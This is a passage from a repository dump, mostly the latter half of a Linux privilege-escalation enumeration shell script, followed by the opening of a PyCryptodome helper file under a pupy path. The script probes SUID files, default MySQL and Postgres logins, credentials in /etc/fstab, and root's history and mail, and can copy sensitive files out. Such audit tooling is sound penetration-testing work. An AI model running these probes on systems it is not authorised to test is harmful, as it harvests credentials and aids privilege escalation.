  echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null`
if [ "$anacronjobs" ]; then
  echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

anacrontab=`ls -la /var/spool/anacron 2>/dev/null`
if [ "$anacrontab" ]; then
  echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command)
cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null`
if [ "$cronother" ]; then
  echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### NETWORKING  ##########################################\e[00m" |tee -a $report 2>/dev/null

#nic information
nicinfo=`/sbin/ifconfig -a 2>/dev/null`
if [ "$nicinfo" ]; then
  echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#dns settings
nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"`
if [ "$nsinfo" ]; then
  echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#default route configuration
defroute=`route 2>/dev/null | grep default`
if [ "$defroute" ]; then
  echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#listening TCP
tcpservs=`netstat -antp 2>/dev/null`
if [ "$tcpservs" ]; then
  echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#listening UDP
udpservs=`netstat -anup 2>/dev/null`
if [ "$udpservs" ]; then
  echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null

#running processes
psaux=`ps aux 2>/dev/null`
if [ "$psaux" ]; then
  echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#lookup process binary path and permissisons
procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'`
if [ "$procperm" ]; then
  echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$procperm" ]; then
procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'`
  mkdir $format/ps-export/ 2>/dev/null
  for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null
else 
  :
fi

#anything 'useful' in inetd.conf
inetdread=`cat /etc/inetd.conf 2>/dev/null`
if [ "$inetdread" ]; then
  echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$inetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null
else 
  :
fi

#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each
inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null`
if [ "$inetdbinperms" ]; then
  echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

xinetdread=`cat /etc/xinetd.conf 2>/dev/null`
if [ "$xinetdread" ]; then
  echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$xinetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null
else 
  :
fi

xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null`
if [ "$xinetdincd" ]; then
  echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each
xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null`
if [ "$xinetdbinperms" ]; then
  echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

initdread=`ls -la /etc/init.d 2>/dev/null`
if [ "$initdread" ]; then
  echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi  

#init.d files NOT belonging to root!
initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$initdperms" ]; then
  echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null`
if [ "$rcdread" ]; then
  echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#init.d files NOT belonging to root!
rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$rcdperms" ]; then
  echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null`
if [ "$usrrcdread" ]; then
  echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#rc.d files NOT belonging to root!
usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$usrrcdperms" ]; then
  echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null

#sudo version - check to see if there are any known vulnerabilities with this
sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
if [ "$sudover" ]; then
  echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#mysql details - if installed
mysqlver=`mysql --version 2>/dev/null`
if [ "$mysqlver" ]; then
  echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#checks to see if root/root will get us a connection
mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null`
if [ "$mysqlconnect" ]; then
  echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#mysql version details
mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null`
if [ "$mysqlconnectnopass" ]; then
  echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#postgres details - if installed
postgver=`psql -V 2>/dev/null`
if [ "$postgver" ]; then
  echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon1" ]; then
  echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon11" ]; then
  echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon2" ]; then
  echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon22" ]; then
  echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#apache details - if installed
apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null`
if [ "$apachever" ]; then
  echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#what account is apache running under
apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'`
if [ "$apacheusr" ]; then
  echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$apacheusr" ]; then
  mkdir --parents $format/etc-export/apache2/ 2>/dev/null
  cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null

#checks to see if various files are installed
echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null
echo -e "\n" |tee -a $report 2>/dev/null

#limited search for installed compilers
compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`
if [ "$compiler" ]; then
  echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
 else 
  :
fi

#manual check - lists out sensitive files, can we read/modify etc.
echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null
echo -e "\n" |tee -a $report 2>/dev/null

#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below)
if [ "$thorough" = "1" ]; then
findsuid=`find / -perm -4000 -type f 2>/dev/null`
	if [ "$findsuid" ]; then
		echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$findsuid" ]; then
		mkdir $format/suid-files/ 2>/dev/null
		for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#list of 'interesting' suid files - feel free to make additions
if [ "$thorough" = "1" ]; then
intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null
	if [ "$intsuid" ]; then
		echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#lists word-writable suid files
if [ "$thorough" = "1" ]; then
wwsuid=`find / -perm -4007 -type f 2>/dev/null`
	if [ "$wwsuid" ]; then
		echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#lists world-writable suid files owned by root
if [ "$thorough" = "1" ]; then
wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null`
	if [ "$wwsuidrt" ]; then
		echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below)
if [ "$thorough" = "1" ]; then
findguid=`find / -perm -2000 -type f 2>/dev/null`
	if [ "$findguid" ]; then
		echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$findguid" ]; then
		mkdir $format/guid-files/ 2>/dev/null
		for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#list of 'interesting' guid files - feel free to make additions
if [ "$thorough" = "1" ]; then
intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la`
	if [ "$intguid" ]; then
		echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#lists world-writable guid files
if [ "$thorough" = "1" ]; then
wwguid=`find / -perm -2007 -type f 2>/dev/null`
	if [ "$wwguid" ]; then
		echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#lists world-writable guid files owned by root
if [ "$thorough" = "1" ]; then
wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null`
	if [ "$wwguidrt" ]; then
		echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#list all world-writable files excluding /proc
if [ "$thorough" = "1" ]; then
wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null`
	if [ "$wwfiles" ]; then
		echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$wwfiles" ]; then
		mkdir $format/ww-files/ 2>/dev/null
		for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#are any .plan files accessible in /home (could contain useful information)
usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$usrplan" ]; then
  echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$usrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
else 
  :
fi

bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$bsdusrplan" ]; then
  echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$bsdusrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
else 
  :
fi

#are there any .rhosts files accessible - these may allow us to login as another user etc.
rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostsusr" ]; then
  echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$rhostsusr" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
else 
  :
fi

bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$bsdrhostsusr" ]; then
  echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$bsdrhostsusr" ]; then
  mkdir $format/rhosts 2>/dev/null
  for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
else 
  :
fi

rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostssys" ]; then
  echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
  else 
  :
fi

if [ "$export" ] && [ "$rhostssys" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null
else 
  :
fi

#list nfs shares/permisisons etc.
nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`
if [ "$nfsexports" ]; then
  echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
  else 
  :
fi

if [ "$export" ] && [ "$nfsexports" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/exports $format/etc-export/exports 2>/dev/null
else 
  :
fi

#looking for credentials in /etc/fstab
fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:`
if [ "$fstab" ]; then
  echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
  else 
  :
fi

if [ "$export" ] && [ "$fstab" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
else 
  :
fi

fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'`
if [ "$fstabcred" ]; then
    echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null
    echo -e "\n" |tee -a $report 2>/dev/null
    else
    :
fi

if [ "$export" ] && [ "$fstabcred" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
else 
  :
fi

#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ]; then
  echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null
  else
    confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$confkey" ]; then
      echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null
      echo -e "\n" |tee -a $report 2>/dev/null
     else 
	echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null
	echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null
	echo -e "\n" |tee -a $report 2>/dev/null
    fi
fi

if [ "$keyword" = "" ]; then
  :
  else
    if [ "$export" ] && [ "$confkey" ]; then
	  confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null
      for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null
    else 
      :
  fi
fi

#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null
  else
    logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$logkey" ]; then
      echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null
      echo -e "\n" |tee -a $report 2>/dev/null
     else 
	echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null
	echo -e "'$keyword' not found in any .log files"
	echo -e "\n" |tee -a $report 2>/dev/null
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$logkey" ]; then
      logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
	  mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null
      for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null
    else 
      :
  fi
fi

#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null
  else
    inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$inikey" ]; then
      echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null
      echo -e "\n" |tee -a $report 2>/dev/null
     else 
	echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null
	echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null
	echo -e "\n"
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$inikey" ]; then
	  inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null
      for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null
    else 
      :
  fi
fi

#quick extract of .conf files from /etc - only 1 level
allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null`
if [ "$allconf" ]; then
  echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$allconf" ]; then
  mkdir $format/conf-files/ 2>/dev/null
  for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null
else 
  :
fi

#extract any user history files that are accessible
usrhist=`ls -la ~/.*_history 2>/dev/null`
if [ "$usrhist" ]; then
  echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$usrhist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null
 else 
  :
fi

#can we read roots *_history files - could be passwords stored etc.
roothist=`ls -la /root/.*_history 2>/dev/null`
if [ "$roothist" ]; then
  echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$roothist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  cp $roothist $format/history_files/ 2>/dev/null
else 
  :
fi

#is there any mail accessible
readmail=`ls -la /var/mail 2>/dev/null`
if [ "$readmail" ]; then
  echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#can we read roots mail
readmailroot=`head /var/mail/root 2>/dev/null`
if [ "$readmailroot" ]; then
  echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$readmailroot" ]; then
  mkdir $format/mail-from-root/ 2>/dev/null
  cp $readmailroot $format/mail-from-root/ 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null

#EndOfScript


================================================
FILE: pupy/library_patches_py2/Crypto/Util/_raw_api.py
================================================
# ===================================================================
#
# Copyright (c) 2014, Legrandin <helderijs@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in
#    the documentation and/or other materials provided with the
#    distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ===================================================================

import abc
import sys

import ctypes
from ctypes import (CDLL, c_void_p, byref, c_ulong, c_ulonglong, c_size_t,
                    create_string_buffer, c_ubyte, c_uint)
from ctypes.util import find_library
from ctypes import Array as _Array

from Crypto.Util.py3compat import byte_string
from Crypto.Util._file_system import pycryptodome_filename

#
# List of file suffixes for Python extensions
#
if sys.version_info[0] < 3:

    import imp
    extension_suffixes = []
    for ext, mod, typ in imp.get_suffixes():
        if typ == imp.C_EXTENSION:
            extension_suffixes.append(ext)

else:

    from importlib import machinery
